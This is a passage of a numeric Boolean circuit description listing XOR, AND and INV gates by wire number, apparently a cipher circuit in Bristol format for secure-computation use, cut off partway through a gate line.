12277 12399 XOR +2 1 1248 1254 12410 XOR +2 1 1248 1253 12408 XOR +2 1 12401 12405 12394 AND +2 1 12394 12317 12320 XOR +2 1 12402 12400 12393 AND +2 1 12410 12395 12391 AND +2 1 12391 12315 12319 XOR +2 1 12404 12397 12389 AND +2 1 12409 12398 12388 AND +2 1 12388 12316 12318 XOR +2 1 12320 12318 12324 XOR +2 1 1248 12324 12330 XOR +2 1 12411 12396 12387 AND +2 1 12387 12393 12339 XOR +2 1 12339 12330 12385 XOR +2 1 12387 12388 12290 XOR +2 1 12290 12291 12338 XOR +2 1 12338 12319 12337 XOR +2 1 12390 12337 12384 XOR +2 1 12408 12399 12386 AND +2 1 12386 12389 12340 XOR +2 1 12386 12392 12344 XOR +2 1 12344 12315 12331 XOR +2 1 12339 12331 12382 XOR +2 1 12387 12340 12334 XOR +2 1 12319 12340 12293 XOR +2 1 12293 12318 12383 XOR +2 1 12324 12344 12292 XOR +2 1 1250 12292 12336 XOR +2 1 12390 12334 12289 XOR +2 1 1254 12289 12377 XOR +2 1 12385 12384 12381 AND +2 1 12381 12336 12376 XOR +2 1 12381 12383 12380 XOR +2 1 12382 12380 12379 AND +2 1 12379 12336 12378 XOR +2 1 12379 12391 12284 XOR +2 1 12284 12320 12280 XOR +2 1 1248 12280 12283 XOR +2 1 12379 12330 12281 XOR +2 1 1250 12280 12279 XOR +2 1 12376 12377 12375 AND +2 1 12375 12383 12374 XOR +2 1 12381 12375 12373 XOR +2 1 12375 12334 12288 XOR +2 1 12375 12392 12287 XOR +2 1 12287 12389 12282 XOR +2 1 12282 12283 12366 XOR +2 1 12383 12373 12372 AND +2 1 12372 12380 12370 XOR +2 1 12372 12390 12343 XOR +2 1 12343 12337 12364 XOR +2 1 1254 12343 12325 XOR +2 1 12325 12288 12371 XOR +2 1 12378 12370 12369 AND +2 1 12369 12339 12329 XOR +2 1 12329 12331 12368 XOR +2 1 12369 12393 12286 XOR +2 1 12325 12286 12278 XOR +2 1 12315 12278 12285 XOR +2 1 12282 12285 12367 XOR +2 1 12329 12281 12365 XOR +2 1 12278 12279 12363 XOR +2 1 12364 12401 12362 AND +2 1 12371 12400 12361 AND +2 1 12374 1255 12360 AND +2 1 12360 12362 12342 XOR +2 1 12365 12395 12359 AND +2 1 12368 12407 12358 AND +2 1 12358 12359 12327 XOR +2 1 12378 12397 12357 AND +2 1 12357 12358 12295 XOR +2 1 12366 12398 12356 AND +2 1 12363 12396 12355 AND +2 1 12355 12327 12335 XOR +2 1 12355 12358 12310 XOR +1 1 12310 12307 INV +2 1 12355 12356 12306 XOR +2 1 12356 12335 12294 XOR +2 1 12367 12399 12354 AND +2 1 12364 12405 12353 AND +2 1 12371 12402 12352 AND +2 1 12374 12406 12351 AND +2 1 12351 12335 12300 XOR +1 1 12300 12297 INV +2 1 12365 12410 12350 AND +2 1 12350 12354 12326 XOR +2 1 12359 12350 12311 XOR +1 1 12326 12304 INV +2 1 12368 12403 12349 AND +2 1 12357 12349 12313 XOR +2 1 12378 12404 12348 AND +2 1 12304 12348 12303 XOR +2 1 12303 12342 12299 XOR +2 1 12366 12409 12347 AND +2 1 12347 12299 12302 XOR +2 1 12363 12411 12346 AND +2 1 12346 12347 12341 XOR +2 1 12352 12341 12322 XOR +2 1 12353 12322 12323 XOR +2 1 12361 12323 12328 XOR +2 1 12362 12328 12333 XOR +2 1 12327 12333 36763 XOR +2 1 12313 12341 12309 XOR +2 1 12342 12309 12312 XOR +2 1 12311 12312 12415 XOR +2 1 12304 12309 12308 XOR +2 1 12307 12308 12414 XOR +2 1 12333 12306 12413 XOR +2 1 12322 12299 12298 XOR +2 1 12297 12298 36761 XOR +2 1 12360 12328 12296 XOR +2 1 12295 12296 36762 XOR +2 1 12323 12294 36766 XOR +2 1 12367 12408 12345 AND +2 1 12356 12345 12305 XOR +1 1 12305 12301 INV +2 1 12301 12302 12412 XOR +1 1 12415 36759 INV +1 1 12414 36760 INV +1 1 12413 36765 INV +1 1 12412 36764 INV +2 1 36764 1178 1050 XOR +2 1 36760 1182 1054 XOR +2 1 36790 1152 1024 XOR +2 1 36759 1183 1055 XOR +2 1 36763 1179 1051 XOR +2 1 36762 1180 1052 XOR +2 1 36766 1176 1048 XOR +2 1 36761 1181 1053 XOR +2 1 1210 1050 1082 XOR +2 1 1242 1082 1114 XOR +2 1 1274 1114 1146 XOR +2 1 1211 1051 1083 XOR +2 1 1215 1055 1087 XOR +2 1 1212 1052 1084 XOR +2 1 1244 1084 1116 XOR +2 1 1276 1116 1148 XOR +2 1 36785 1157 1586 XOR +1 1 1586 1029 INV +2 1 1189 1586 1590 XOR +1 1 1590 1061 INV +2 1 1221 1590 1594 XOR +1 1 1594 1093 INV +2 1 1253 1594 1598 XOR +1 1 1598 1125 INV +2 1 36765 1177 1049 XOR +2 1 1209 1049 1081 XOR +2 1 1241 1081 1113 XOR +2 1 1273 1113 1145 XOR +2 1 1184 1024 1056 XOR +2 1 1208 1048 1080 XOR +2 1 1213 1053 1085 XOR +2 1 1214 1054 1086 XOR +2 1 1246 1086 1118 XOR +2 1 1278 1118 1150 XOR +2 1 1245 1085 1117 XOR +2 1 1277 1117 1149 XOR +2 1 1216 1056 1088 XOR +2 1 1248 1088 1120 XOR +2 1 1247 1087 1119 XOR +2 1 1279 1119 1151 XOR +2 1 1240 1080 1112 XOR +2 1 1272 1112 1144 XOR +2 1 1243 1083 1115 XOR +2 1 1275 1115 1147 XOR +2 1 32025 32026 32727 XOR +2 1 32727 32000 34848 XOR +1 1 34848 5240 INV +2 1 34861 5240 5050 XOR +2 1 34852 5240 5241 XOR +2 1 34848 34853 4979 XOR +2 1 4979 5025 5074 XOR +2 1 5074 5073 34778 XOR +2 1 4973 4979 34786 XOR +2 1 34786 387 33506 XOR +2 1 34778 395 33498 XOR +2 1 32022 32727 32002 XOR +2 1 32018 32002 31968 XOR +1 1 31968 31965 INV +2 1 31965 31966 34846 XOR +2 1 34846 34851 5005 XOR +2 1 5005 34859 5072 XOR +2 1 5005 5019 5060 XOR +1 1 5060 5062 INV +2 1 32023 32002 31962 XOR +2 1 31991 31962 34850 XOR +2 1 34850 34862 5033 XOR +2 1 5033 34846 5278 XOR +2 1 5278 5277 4957 XOR +2 1 5033 34853 5047 XOR +2 1 5048 5047 34762 XOR +2 1 34762 411 33482 XOR +2 1 4957 5025 34761 XOR +2 1 34850 34854 5044 XOR +2 1 5044 34862 5079 XOR +1 1 5044 4948 INV +2 1 4948 34856 5061 XOR +2 1 5062 5061 34769 XOR +2 1 34769 404 33489 XOR +2 1 34761 412 33481 XOR +2 1 4948 34847 5242 XOR +2 1 5242 5241 4972 XOR +2 1 4972 5028 34770 XOR +2 1 34770 403 33490 XOR +2 1 32303 32304 32729 XOR +2 1 32300 32729 32280 XOR +2 1 32296 32280 32246 XOR +1 1 32246 32243 INV +2 1 32243 32244 34832 XOR +2 1 34827 34832 4985 XOR +1 1 4985 5210 INV +2 1 5210 34842 5212 XOR +2 1 5210 5003 5201 XOR +2 1 32301 32280 32240 XOR +2 1 32269 32240 34837 XOR +2 1 34830 34837 5040 XOR +2 1 34837 34841 5036 XOR +1 1 34832 5257 INV +2 1 34838 5257 5258 XOR +1 1 5036 5256 INV +2 1 5256 34844 5255 XOR +2 1 5256 34843 5259 XOR +2 1 5259 5258 4965 XOR +2 1 4965 4992 34745 XOR +2 1 34745 428 33465 XOR +2 1 5255 5254 4966 XOR +2 1 32729 32278 34834 XOR +2 1 34829 34834 5000 XOR +2 1 4966 5000 34746 XOR +2 1 34746 427 33466 XOR +1 1 5000 5229 INV +2 1 5229 5003 5231 XOR +2 1 34834 34828 5262 XOR +2 1 5263 5262 4963 XOR +2 1 4963 5012 34730 XOR +2 1 34730 443 33450 XOR +2 1 34840 34834 5213 XOR +1 1 3554 32732 INV +2 1 34822 32732 5178 XOR +1 1 3555 32733 INV +2 1 5042 32733 5164 XOR +2 1 32733 4668 5155 XOR +2 1 5156 5155 34712 XOR +2 1 34712 461 33432 XOR +2 1 33432 33434 22153 XOR +2 1 33433 33432 22034 XOR +1 1 3556 32734 INV +1 1 3692 32735 INV +2 1 32735 4250 5187 XOR +1 1 3694 32736 INV +2 1 32736 4807 5117 XOR +2 1 5118 5117 34688 XOR +2 1 34688 485 33408 XOR +2 1 5135 32736 5106 XOR +1 1 3695 32737 INV +2 1 5039 32737 5247 XOR +1 1 3553 32738 INV +1 1 3831 32739 INV +2 1 32739 34797 4986 XOR +2 1 4986 32735 5110 XOR +2 1 4986 4987 5122 XOR +2 1 5110 5109 34683 XOR +2 1 34683 490 33403 XOR +1 1 3832 32740 INV +2 1 32740 34798 4988 XOR +2 1 4988 5039 5097 XOR +2 1 4988 3693 5112 XOR +2 1 34793 5097 34677 XOR +2 1 34677 496 33397 XOR +2 1 33394 33397 25638 XOR +1 1 3833 32741 INV +2 1 32741 32736 4976 XOR +2 1 4976 4999 5123 XOR +2 1 34805 5123 34664 XOR +2 1 32741 5243 5064 XOR +2 1 34664 509 33384 XOR +2 1 33384 33386 22431 XOR +2 1 33385 33384 22312 XOR +1 1 3834 32742 INV +2 1 32742 32737 4975 XOR +2 1 4975 5038 5224 XOR +2 1 4975 5037 5098 XOR +2 1 4807 32742 5250 XOR +1 1 3971 32743 INV +2 1 32743 34853 5075 XOR +1 1 3972 32744 INV +2 1 34849 32744 4980 XOR +2 1 4980 5045 5069 XOR +2 1 34850 5069 34773 XOR +2 1 34773 400 33493 XOR +2 1 33490 33493 5427 XOR +1 1 3973 32745 INV +1 1 3974 32746 INV +1 1 4110 32747 INV +1 1 4111 32748 INV +2 1 34813 32748 5151 XOR +1 1 4112 32749 INV +2 1 32749 34814 5002 XOR +2 1 34815 32749 5127 XOR +2 1 5002 5011 5142 XOR +2 1 5146 32749 5139 XOR +2 1 34810 5142 34704 XOR +2 1 34704 469 33424 XOR +2 1 33424 33426 18539 XOR +2 1 33425 33424 18420 XOR +1 1 4113 32750 INV +2 1 4668 32750 5287 XOR +1 1 4390 32751 INV +2 1 5036 32751 5261 XOR +2 1 5181 32751 5183 XOR +1 1 4391 32752 INV +2 1 5267 32752 5269 XOR +1 1 4251 32753 INV +2 1 5134 32753 5065 XOR +2 1 5065 5064 34672 XOR +2 1 34672 501 33392 XOR +2 1 5103 32753 5099 XOR +2 1 32753 34800 4997 XOR +2 1 4996 4997 5102 XOR +2 1 34794 5102 34680 XOR +2 1 34680 493 33400 XOR +2 1 4975 4997 5107 XOR +2 1 5107 5106 5108 XOR +1 1 5108 34663 INV +2 1 34663 510 33383 XOR +2 1 33400 33402 22292 XOR +2 1 33401 33400 22173 XOR +2 1 33383 33385 22335 XOR +2 1 33384 22335 22337 XOR +2 1 33383 33384 22352 XOR +2 1 33392 33394 25640 XOR +2 1 33393 33392 25520 XOR +2 1 33397 33392 25637 XOR +1 1 4252 32754 INV +2 1 4949 32754 5251 XOR +2 1 32754 5098 34678 XOR +2 1 34678 495 33398 XOR +2 1 5251 5250 4968 XOR +2 1 4968 4976 34671 XOR +2 1 34671 502 33391 XOR +2 1 33391 33393 25543 XOR +2 1 33392 25543 25545 XOR +2 1 25543 25638 25630 XOR +2 1 33391 33392 25560 XOR +2 1 25638 25560 25634 XOR +2 1 33397 33391 25639 XOR +2 1 25630 25634 25623 AND +1 1 4529 32755 INV +2 1 32755 34831 4978 XOR +2 1 4978 4993 5199 XOR +2 1 5257 32755 5182 XOR +2 1 5183 5182 34728 XOR +2 1 34728 445 33448 XOR +2 1 33448 33450 15342 XOR +2 1 33449 33448 15223 XOR +2 1 34827 5199 34736 XOR +2 1 34736 437 33456 XOR +1 1 4530 32756 INV +2 1 32359 32756 5268 XOR +2 1 5269 5268 4961 XOR +1 1 4388 32757 INV +1 1 4389 32758 INV +2 1 5043 32758 5194 XOR +1 1 4667 32759 INV +2 1 32759 32732 5024 XOR +2 1 5042 32759 5152 XOR +2 1 5152 5151 34709 XOR +2 1 34709 464 33429 XOR +2 1 33426 33429 18537 XOR +2 1 33429 33424 18536 XOR +2 1 5024 5041 5162 XOR +2 1 34826 5162 34717 XOR +2 1 34717 456 33437 XOR +2 1 33434 33437 22151 XOR +2 1 33437 33432 22150 XOR +1 1 4669 32760 INV +2 1 32750 32760 5001 XOR +2 1 32734 32760 5275 XOR +2 1 5001 5034 5153 XOR +2 1 5001 5042 5163 XOR +2 1 32734 5163 34718 XOR +2 1 34718 455 33438 XOR +1 1 4527 32761 INV +2 1 32761 34835 5007 XOR +2 1 5007 32757 5214 XOR +2 1 5007 5012 5232 XOR +2 1 5214 5213 34747 XOR +2 1 34747 426 33467 XOR +2 1 32358 32761 5190 XOR +1 1 4528 32762 INV +2 1 32762 34836 5014 XOR +2 1 5014 32758 5215 XOR +1 1 5215 5217 INV +2 1 5014 5043 5206 XOR +2 1 34830 5206 34741 XOR +2 1 34741 432 33461 XOR +2 1 33461 33456 18397 XOR +2 1 34837 32762 5193 XOR +2 1 5194 5193 34733 XOR +2 1 34733 440 33453 XOR +2 1 33450 33453 15340 XOR +2 1 33453 33448 15339 XOR +1 1 4805 32763 INV +2 1 32763 32735 4991 XOR +2 1 32763 5122 34691 XOR +2 1 34691 482 33411 XOR +2 1 4988 4991 5124 XOR +2 1 4983 4991 5095 XOR +2 1 32739 5095 34675 XOR +2 1 34675 498 33395 XOR +2 1 32763 4249 5111 XOR +2 1 5112 5111 34684 XOR +2 1 34684 489 33404 XOR +2 1 33402 33404 22199 XOR +2 1 33398 33404 22203 XOR +2 1 33403 22203 22288 XOR +2 1 22199 33403 22158 XOR +2 1 33398 22158 22287 XOR +2 1 22287 33398 22273 AND +2 1 4991 34792 5169 XOR +1 1 5169 5171 INV +2 1 5171 5170 34667 XOR +2 1 34667 506 33387 XOR +2 1 33387 22337 22415 XOR +2 1 33395 25545 25624 XOR +2 1 33395 33397 25544 XOR +2 1 25544 25640 25625 XOR +2 1 25639 25624 25620 AND +2 1 25620 25544 25548 XOR +2 1 25640 25625 25616 AND +1 1 4806 32764 INV +2 1 32764 4250 5113 XOR +2 1 5114 5113 34685 XOR +2 1 34685 488 33405 XOR +2 1 32764 5124 34692 XOR +2 1 34692 481 33412 XOR +2 1 32764 34808 4994 XOR +2 1 4994 5038 5125 XOR +2 1 34804 5125 34693 XOR +2 1 4986 4994 5096 XOR +2 1 32740 5096 34676 XOR +2 1 34676 497 33396 XOR +2 1 34693 480 33413 XOR +2 1 33411 33413 20946 XOR +2 1 33413 33408 21038 XOR +2 1 33403 33405 22197 XOR +2 1 22197 22292 22277 XOR +2 1 33402 33405 22290 XOR +2 1 22197 22203 22285 XOR +2 1 22199 22197 22159 XOR +2 1 33405 33400 22289 XOR +2 1 22292 22277 22268 AND +2 1 4994 32739 5188 XOR +2 1 5188 5187 5189 XOR +1 1 5189 34668 INV +2 1 34668 505 33388 XOR +2 1 33388 22337 22418 XOR +2 1 33386 33388 22338 XOR +2 1 22338 33387 22297 XOR +2 1 33396 25545 25627 XOR +2 1 33394 33396 25546 XOR +2 1 25623 25546 25549 XOR +2 1 25546 25544 25506 XOR +2 1 25543 25506 25628 XOR +2 1 25546 33395 25505 XOR +2 1 25638 25627 25617 AND +2 1 25617 25545 25547 XOR +2 1 25549 25547 25553 XOR +2 1 33397 25553 25558 XOR +2 1 25616 25617 25519 XOR +2 1 25519 25520 25566 XOR +2 1 25566 25548 25565 XOR +2 1 25637 25628 25615 AND +1 1 4808 32765 INV +2 1 32741 32765 5246 XOR +2 1 5247 5246 4970 XOR +2 1 4970 4997 34687 XOR +2 1 34687 486 33407 XOR +2 1 33407 33408 20962 XOR +2 1 33413 33407 21040 XOR +2 1 32754 32765 4998 XOR +2 1 4998 5031 5046 XOR +2 1 32737 5046 34662 XOR +2 1 34662 511 33382 XOR +2 1 4998 5039 5115 XOR +2 1 32742 5115 34686 XOR +2 1 4976 4998 5100 XOR +2 1 5100 5099 5101 XOR +1 1 5101 34679 INV +2 1 34679 494 33399 XOR +2 1 33399 33401 22196 XOR +2 1 33400 22196 22198 XOR +2 1 33404 22198 22279 XOR +2 1 33403 22198 22276 XOR +2 1 22203 22198 22278 XOR +2 1 33399 22288 22284 XOR +2 1 22196 22290 22282 XOR +2 1 33398 22282 22281 XOR +2 1 33399 33400 22213 XOR +2 1 22213 22285 22283 XOR +2 1 22290 22213 22286 XOR +2 1 22196 22159 22280 XOR +2 1 33405 33399 22291 XOR +2 1 22282 22286 22275 AND +2 1 22275 22199 22202 XOR +2 1 22283 22281 22274 AND +2 1 22268 22274 22220 XOR +2 1 22291 22276 22272 AND +2 1 22272 22197 22201 XOR +2 1 22288 22284 22271 AND +2 1 22285 22278 22270 AND +2 1 22290 22279 22269 AND +2 1 22269 22198 22200 XOR +2 1 22202 22200 22206 XOR +2 1 33405 22206 22211 XOR +2 1 22220 22211 22266 XOR +2 1 22268 22269 22172 XOR +2 1 22172 22173 22219 XOR +2 1 22219 22201 22218 XOR +2 1 22271 22218 22265 XOR +2 1 22289 22280 22267 AND +2 1 22267 22270 22221 XOR +2 1 22267 22273 22225 XOR +2 1 22225 22197 22212 XOR +2 1 22220 22212 22263 XOR +2 1 22268 22221 22215 XOR +2 1 22201 22221 22175 XOR +2 1 22175 22200 22264 XOR +2 1 22206 22225 22174 XOR +2 1 33403 22174 22217 XOR +2 1 22271 22215 22171 XOR +2 1 33399 22171 22258 XOR +2 1 22266 22265 22262 AND +2 1 22262 22217 22257 XOR +2 1 22262 22264 22261 XOR +2 1 22263 22261 22260 AND +2 1 22260 22217 22259 XOR +2 1 22260 22272 22166 XOR +2 1 22166 22202 22162 XOR +2 1 33405 22162 22165 XOR +2 1 22260 22211 22163 XOR +2 1 33403 22162 22161 XOR +2 1 22257 22258 22256 AND +2 1 22256 22264 22255 XOR +2 1 22262 22256 22254 XOR +2 1 22256 22215 22170 XOR +2 1 22256 22273 22169 XOR +2 1 22169 22270 22164 XOR +2 1 22164 22165 22247 XOR +2 1 22264 22254 22253 AND +2 1 22253 22261 22251 XOR +2 1 22253 22271 22224 XOR +2 1 22224 22218 22245 XOR +2 1 33399 22224 22207 XOR +2 1 22207 22170 22252 XOR +2 1 22259 22251 22250 AND +2 1 22250 22220 22210 XOR +2 1 22210 22212 22249 XOR +2 1 22250 22274 22168 XOR +2 1 22207 22168 22160 XOR +2 1 22197 22160 22167 XOR +2 1 22164 22167 22248 XOR +2 1 22210 22163 22246 XOR +2 1 22160 22161 22244 XOR +2 1 22245 22282 22243 AND +2 1 22252 22281 22242 AND +2 1 22255 33398 22241 AND +2 1 22241 22243 22223 XOR +2 1 22246 22276 22240 AND +2 1 22249 22288 22239 AND +2 1 22259 22278 22238 AND +2 1 22238 22239 22177 XOR +2 1 22247 22279 22237 AND +2 1 22244 22277 22236 AND +2 1 22236 22239 22192 XOR +1 1 22192 22189 INV +2 1 22236 22237 22188 XOR +2 1 22248 22280 22235 AND +2 1 22245 22286 22234 AND +2 1 22252 22283 22233 AND +2 1 22255 22287 22232 AND +2 1 22246 22291 22231 AND +2 1 22231 22235 22208 XOR +2 1 22240 22231 22193 XOR +1 1 22208 22186 INV +2 1 22249 22284 22230 AND +2 1 22238 22230 22195 XOR +2 1 22259 22285 22229 AND +2 1 22186 22229 22185 XOR +2 1 22185 22223 22181 XOR +2 1 22247 22290 22228 AND +2 1 22228 22181 22184 XOR +2 1 22244 22292 22227 AND +2 1 22227 22228 22222 XOR +2 1 22233 22222 22204 XOR +2 1 22234 22204 22205 XOR +2 1 22242 22205 22209 XOR +2 1 22243 22209 22214 XOR +2 1 22195 22222 22191 XOR +2 1 22223 22191 22194 XOR +2 1 22193 22194 22296 XOR +2 1 22186 22191 22190 XOR +2 1 22189 22190 22295 XOR +2 1 22214 22188 22294 XOR +2 1 22204 22181 22180 XOR +2 1 22241 22209 22178 XOR +2 1 22177 22178 35021 XOR +2 1 22248 22289 22226 AND +2 1 22237 22226 22187 XOR +1 1 22187 22183 INV +2 1 22183 22184 22293 XOR +2 1 33382 33388 22342 XOR +2 1 22342 22337 22417 XOR +2 1 33387 22342 22427 XOR +2 1 33383 22427 22423 XOR +2 1 33382 22297 22426 XOR +2 1 22426 33382 22412 AND +2 1 22427 22423 22410 AND +2 1 34686 487 33406 XOR +2 1 33406 33412 20952 XOR +2 1 20946 20952 21034 XOR +2 1 20962 21034 21032 XOR +2 1 33411 20952 21037 XOR +2 1 33407 21037 21033 XOR +2 1 21037 21033 21020 AND +2 1 32765 5224 34670 XOR +2 1 34670 503 33390 XOR +2 1 33390 25630 25629 XOR +2 1 33390 33396 25550 XOR +2 1 25550 25545 25626 XOR +2 1 25544 25550 25633 XOR +2 1 25560 25633 25631 XOR +2 1 33395 25550 25636 XOR +2 1 33391 25636 25632 XOR +2 1 33390 25505 25635 XOR +2 1 25631 25629 25622 AND +2 1 25616 25622 25567 XOR +2 1 25567 25558 25614 XOR +2 1 25635 33390 25621 AND +2 1 25615 25621 25572 XOR +2 1 25572 25544 25559 XOR +2 1 25567 25559 25611 XOR +2 1 25553 25572 25521 XOR +2 1 33395 25521 25564 XOR +2 1 25636 25632 25619 AND +2 1 25619 25565 25613 XOR +2 1 25633 25626 25618 AND +2 1 25615 25618 25568 XOR +2 1 25616 25568 25562 XOR +2 1 25548 25568 25522 XOR +2 1 25522 25547 25612 XOR +2 1 25619 25562 25518 XOR +2 1 33391 25518 25606 XOR +2 1 25614 25613 25610 AND +2 1 25610 25564 25605 XOR +2 1 25610 25612 25609 XOR +2 1 25611 25609 25608 AND +2 1 25608 25564 25607 XOR +2 1 25608 25620 25513 XOR +2 1 25513 25549 25509 XOR +2 1 33397 25509 25512 XOR +2 1 25608 25558 25510 XOR +2 1 33395 25509 25508 XOR +2 1 25605 25606 25604 AND +2 1 25604 25612 25603 XOR +2 1 25610 25604 25602 XOR +2 1 25604 25562 25517 XOR +2 1 25604 25621 25516 XOR +2 1 25516 25618 25511 XOR +2 1 25511 25512 25595 XOR +2 1 25612 25602 25601 AND +2 1 25601 25609 25599 XOR +2 1 25601 25619 25571 XOR +2 1 25571 25565 25593 XOR +2 1 33391 25571 25554 XOR +2 1 25554 25517 25600 XOR +2 1 25607 25599 25598 AND +2 1 25598 25567 25557 XOR +2 1 25557 25559 25597 XOR +2 1 25598 25622 25515 XOR +2 1 25554 25515 25507 XOR +2 1 25544 25507 25514 XOR +2 1 25511 25514 25596 XOR +2 1 25557 25510 25594 XOR +2 1 25507 25508 25592 XOR +2 1 25593 25630 25591 AND +2 1 25600 25629 25590 AND +2 1 25603 33390 25589 AND +2 1 25589 25591 25570 XOR +2 1 25594 25624 25588 AND +2 1 25597 25636 25587 AND +2 1 25587 25588 25573 XOR +2 1 25607 25626 25586 AND +2 1 25586 25587 25524 XOR +2 1 25595 25627 25585 AND +2 1 25592 25625 25584 AND +2 1 25584 25573 25563 XOR +2 1 25584 25587 25539 XOR +1 1 25539 25536 INV +2 1 25584 25585 25535 XOR +2 1 25585 25563 25523 XOR +2 1 25596 25628 25583 AND +2 1 25593 25634 25582 AND +2 1 25600 25631 25581 AND +2 1 25603 25635 25580 AND +2 1 25580 25563 25529 XOR +1 1 25529 25526 INV +2 1 25594 25639 25579 AND +2 1 25579 25583 25555 XOR +2 1 25588 25579 25540 XOR +1 1 25555 25533 INV +2 1 25597 25632 25578 AND +2 1 25586 25578 25542 XOR +2 1 25607 25633 25577 AND +2 1 25533 25577 25532 XOR +2 1 25532 25570 25528 XOR +2 1 25595 25638 25576 AND +2 1 25576 25528 25531 XOR +2 1 25592 25640 25575 AND +2 1 25575 25576 25569 XOR +2 1 25581 25569 25551 XOR +2 1 25582 25551 25552 XOR +2 1 25590 25552 25556 XOR +2 1 25591 25556 25561 XOR +2 1 25573 25561 35035 XOR +2 1 25542 25569 25538 XOR +2 1 25570 25538 25541 XOR +2 1 25540 25541 25644 XOR +2 1 25533 25538 25537 XOR +2 1 25536 25537 25643 XOR +2 1 25561 25535 25642 XOR +2 1 25551 25528 25527 XOR +2 1 25526 25527 35033 XOR +1 1 35033 5611 INV +2 1 25589 25556 25525 XOR +2 1 25524 25525 35034 XOR +1 1 35034 5604 INV +2 1 25552 25523 35038 XOR +2 1 25596 25637 25574 AND +2 1 25585 25574 25534 XOR +1 1 25534 25530 INV +2 1 25530 25531 25641 XOR +1 1 25643 35032 INV +1 1 25642 35037 INV +1 1 25641 35036 INV +2 1 22239 22240 32713 XOR +2 1 32713 22214 35022 XOR +1 1 35022 5695 INV +2 1 22236 32713 22216 XOR +2 1 22232 22216 22182 XOR +1 1 22182 22179 INV +2 1 22179 22180 35020 XOR +2 1 22237 22216 22176 XOR +2 1 22205 22176 35023 XOR +1 1 4666 32766 INV +2 1 32747 32766 5017 XOR +2 1 32759 32766 5160 XOR +2 1 5017 5021 5176 XOR +2 1 32766 34812 5129 XOR +2 1 32738 5176 34723 XOR +2 1 34723 450 33443 XOR +1 1 4944 32767 INV +2 1 4980 32767 5090 XOR +1 1 4945 32768 INV +1 1 4946 32769 INV +2 1 32769 34851 5236 XOR +2 1 5030 32769 5294 XOR +1 1 4947 32770 INV +2 1 32770 32745 5279 XOR +1 1 15485 32909 INV +2 1 32909 32746 5293 XOR +2 1 5294 5293 4950 XOR +2 1 32909 32770 4995 XOR +2 1 4995 5033 5235 XOR +2 1 32746 5235 34758 XOR +2 1 4995 5044 5055 XOR +2 1 34758 415 33478 XOR +1 1 15624 32913 INV +2 1 32913 32752 4981 XOR +2 1 4981 5040 5195 XOR +2 1 4978 4981 5221 XOR +1 1 5221 5223 INV +2 1 4981 5035 5180 XOR +2 1 32756 5195 34734 XOR +2 1 34734 439 33454 XOR +1 1 15482 32914 INV +2 1 32743 32914 5020 XOR +1 1 5020 5049 INV +2 1 5049 32767 5051 XOR +2 1 5020 5028 5088 XOR +2 1 5051 5050 34763 XOR +2 1 34763 410 33483 XOR +2 1 4980 5020 5077 XOR +2 1 32768 5077 34780 XOR +2 1 34780 393 33500 XOR +2 1 33498 33500 5475 XOR +1 1 15483 32915 INV +2 1 32915 32914 5089 XOR +2 1 5090 5089 34788 XOR +2 1 34788 385 33508 XOR +2 1 32915 32744 5078 XOR +2 1 5079 5078 34781 XOR +2 1 34781 392 33501 XOR +2 1 33498 33501 5567 XOR +2 1 32915 32768 5022 XOR +2 1 5022 32743 5067 XOR +2 1 5022 5044 5091 XOR +2 1 34858 5091 34789 XOR +2 1 34789 384 33509 XOR +2 1 33506 33508 23450 XOR +2 1 33506 33509 23541 XOR +1 1 15484 32916 INV +2 1 32916 32769 5015 XOR +2 1 32916 32745 5071 XOR +2 1 5072 5071 34776 XOR +2 1 34776 397 33496 XOR +2 1 5005 5015 5084 XOR +2 1 34855 5084 34784 XOR +2 1 34784 389 33504 XOR +2 1 33496 33498 5569 XOR +2 1 33497 33496 5449 XOR +2 1 33501 33496 5566 XOR +2 1 33504 33506 23543 XOR +2 1 33509 33504 23540 XOR +1 1 15621 32918 INV +2 1 32918 32357 5216 XOR +2 1 5217 5216 34748 XOR +2 1 32918 5232 34755 XOR +2 1 34748 425 33468 XOR +2 1 32918 32757 5018 XOR +2 1 33466 33468 20253 XOR +2 1 20253 33467 20212 XOR +2 1 5014 5018 5233 XOR +2 1 34755 418 33475 XOR +2 1 5000 5018 5204 XOR +2 1 5018 34844 5184 XOR +2 1 32761 5204 34739 XOR +2 1 34739 434 33459 XOR +2 1 33459 33461 18305 XOR +1 1 5184 5186 INV +2 1 5186 5185 34731 XOR +2 1 34731 442 33451 XOR +2 1 33451 33453 15247 XOR +2 1 15247 15342 15327 XOR +2 1 15342 15327 15318 AND +1 1 15622 32919 INV +2 1 32919 5233 34756 XOR +2 1 34756 417 33476 XOR +2 1 32919 32358 5218 XOR +2 1 32919 32758 5029 XOR +2 1 5007 5029 5205 XOR +2 1 32762 5205 34740 XOR +2 1 34740 433 33460 XOR +2 1 33454 33460 18311 XOR +2 1 18305 18311 18393 XOR +2 1 33459 18311 18396 XOR +2 1 5029 32757 5191 XOR +2 1 5191 5190 5192 XOR +1 1 5192 34732 INV +2 1 34732 441 33452 XOR +2 1 33450 33452 15249 XOR +2 1 15249 15247 15209 XOR +2 1 15249 33451 15208 XOR +2 1 5029 5040 5234 XOR +2 1 34841 5234 34757 XOR +2 1 34757 416 33477 XOR +2 1 33475 33477 20807 XOR +1 1 15623 32920 INV +2 1 32920 32359 5211 XOR +2 1 5212 5211 34744 XOR +2 1 32920 32751 4989 XOR +2 1 34744 429 33464 XOR +2 1 4961 4989 34727 XOR +2 1 34727 446 33447 XOR +2 1 33447 33449 15246 XOR +2 1 33448 15246 15248 XOR +2 1 33452 15248 15329 XOR +2 1 33451 15248 15326 XOR +2 1 15246 15340 15332 XOR +2 1 33447 33448 15263 XOR +2 1 15340 15263 15336 XOR +2 1 15246 15209 15330 XOR +2 1 33453 33447 15341 XOR +2 1 15332 15336 15325 AND +2 1 15325 15249 15252 XOR +2 1 15341 15326 15322 AND +2 1 15322 15247 15251 XOR +2 1 15340 15329 15319 AND +2 1 15319 15248 15250 XOR +2 1 15252 15250 15256 XOR +2 1 33453 15256 15261 XOR +2 1 15318 15319 15222 XOR +2 1 15222 15223 15269 XOR +2 1 15269 15251 15268 XOR +2 1 15339 15330 15317 AND +2 1 33464 33466 20346 XOR +2 1 33465 33464 20227 XOR +2 1 4985 4989 5225 XOR +2 1 34838 5225 34752 XOR +2 1 34752 421 33472 XOR +2 1 33477 33472 20899 XOR +1 1 21184 32997 INV +2 1 32734 32997 5004 XOR +2 1 5004 5032 5126 XOR +2 1 32760 5126 34694 XOR +2 1 34694 479 33414 XOR +2 1 5286 32997 5288 XOR +2 1 5288 5287 4953 XOR +2 1 32997 5153 34710 XOR +2 1 34710 463 33430 XOR +2 1 5004 5041 5138 XOR +2 1 32750 5138 34702 XOR +2 1 